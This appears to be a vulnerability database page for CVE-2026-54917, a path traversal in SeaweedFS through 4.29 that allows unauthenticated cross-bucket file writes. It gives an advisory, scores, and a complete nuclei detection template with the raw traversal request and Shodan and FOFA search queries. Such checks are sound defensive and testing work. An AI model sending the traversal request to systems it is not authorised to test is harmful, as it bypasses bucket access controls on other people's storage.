Browse / CVEs / CVE-2026-54917
CVE-2026-54917· seaweedfs / seaweedfs· CWE-22
SeaweedFS <= 4.29 - Path Traversal File Write
SeaweedFS versions through 4.29 build the S3 API and Iceberg REST catalog routers with mux.NewRouter().SkipClean(true), which disables URL path cleaning. A `..` segment in the request path therefore survives routing and reaches the handlers unnormalised, so a request such as `PUT /bucket-A/../evil-bucket/key` is matched as bucket=bucket-A with object=../evil-bucket/key. The captured object key is then joined into a filer path where the `..` is collapsed server-side, so the write lands in evil-bucket while authorisation is evaluated against bucket-A, enabling cross-bucket file write.
Impact
An unauthenticated attacker can write objects to buckets other than the one named in the request path, bypassing bucket-level access controls.
Fix
Upgrade to SeaweedFS 4.30 or later.
How to confirm it
Send: PUT /{{bucket_a}} ; PUT /{{bucket_a}}/../{{bucket_b}}/{{file_key}} ; GET /{{bucket_b}}/{{file_key}}
Positive when: status_code_3 == 200 and contains(body_3, file_key) and contains(header_3, 'SeaweedFS')Run it with nuclei: nuclei -id CVE-2026-54917 -u <target>
The full check
id: CVE-2026-54917
info:
name: SeaweedFS <= 4.29 - Path Traversal File Write
author: Haseeb-1698,DhiyaneshDk
severity: high
description: |
SeaweedFS versions through 4.29 build the S3 API and Iceberg REST catalog routers with mux.NewRouter().SkipClean(true), which disables URL path cleaning. A `..` segment in the request path therefore survives routing and reaches the handlers unnormalised, so a request such as `PUT /bucket-A/../evil-bucket/key` is matched as bucket=bucket-A with object=../evil-bucket/key. The captured object key is then joined into a filer path where the `..` is collapsed server-side, so the write lands in evil-bucket while authorisation is evaluated against bucket-A, enabling cross-bucket file write.
impact: |
An unauthenticated attacker can write objects to buckets other than the one named in the request path, bypassing bucket-level access controls.
remediation: |
Upgrade to SeaweedFS 4.30 or later.
reference:
- https://github.com/advisories/GHSA-w62w-66v9-vvgv
- https://github.com/seaweedfs/seaweedfs/commit/dd1b4287899eed3dfd73c2f3b1de001996fda229
- https://nvd.nist.gov/vuln/detail/CVE-2026-54917
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
cvss-score: 7.8
cve-id: CVE-2026-54917
epss-score: 0.01641
epss-percentile: 0.76593
cwe-id: CWE-22
metadata:
verified: true
max-request: 3
vendor: seaweedfs
product: seaweedfs
shodan-query: server:"SeaweedFS"
fofa-query: server="SeaweedFS"
tags: cve,cve2026,seaweedfs,traversal
variables:
bucket_a: "{{to_lower(rand_base(8))}}"
bucket_b: "{{to_lower(rand_base(8))}}"
file_key: "{{to_lower(rand_base(8))}}"
http:
- raw:
- |
PUT /{{bucket_a}} HTTP/1.1
Host: {{Hostname}}
Content-Length: 0
- |
PUT /{{bucket_a}}/../{{bucket_b}}/{{file_key}} HTTP/1.1
Host: {{Hostname}}
Content-Type: text/plain
Content-Length: {{len(file_key)}}
{{file_key}}
- |
GET /{{bucket_b}}/{{file_key}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code_3 == 200"
- "contains(body_3, file_key)"
- "contains(header_3, 'SeaweedFS')"
condition: andReferences
- https://github.com/advisories/GHSA-w62w-66v9-vvgv
- https://github.com/seaweedfs/seaweedfs/commit/dd1b4287899eed3dfd73c2f3b1de001996fda229
- https://nvd.nist.gov/vuln/detail/CVE-2026-54917
Use this check only on systems you are authorised to test. Where the data comes from